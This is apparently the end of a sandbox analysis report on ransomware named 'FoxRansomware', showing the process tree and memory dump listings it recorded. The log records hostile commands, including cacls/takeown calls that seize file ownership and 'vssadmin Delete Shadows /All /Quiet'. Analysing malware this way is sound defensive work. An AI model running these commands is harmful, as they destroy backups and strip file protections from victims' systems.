                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "CORPCHAR.TXT" -nobanner
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:316
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                                                                  8Pk9qSFt.exe -accepteula "CORPCHAR.TXT" -nobanner
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:1880
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                                                                  8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:1072
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT""
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:1616
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:1360
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                        PID:1876
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "CP1250.TXT" -nobanner
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:800
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                                                                            8Pk9qSFt.exe -accepteula "CP1250.TXT" -nobanner
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:2028
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                                                                            8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:552
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer""
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:1600
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:1528
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\taskeng.exe
                                                                                                                                                                                                                                                                                                              taskeng.exe {DF6BCDF9-A213-4A67-9489-9E5F98A89FA6} S-1-5-21-3846991908-3261386348-1409841751-1000:VQVVOAJK\Admin:Interactive:[1]
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                PID:1924
                                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\iZwk4ceY.bat"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:984
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                                                                                                                                                      vssadmin Delete Shadows /All /Quiet
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                      • Interacts with shadow copies
                                                                                                                                                                                                                                                                                                                      PID:384
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                  PID:1736

                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                • memory/1580-54-0x00000000754B1000-0x00000000754B3000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                • memory/1948-61-0x00000000003A0000-0x00000000003E6000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  280KB

                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                • memory/1948-62-0x00000000003A0000-0x00000000003E6000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  280KB

                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                • memory/1948-63-0x00000000003A0000-0x00000000003E6000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  280KB

                                                                                                                                                                                                                                                                                                                  Download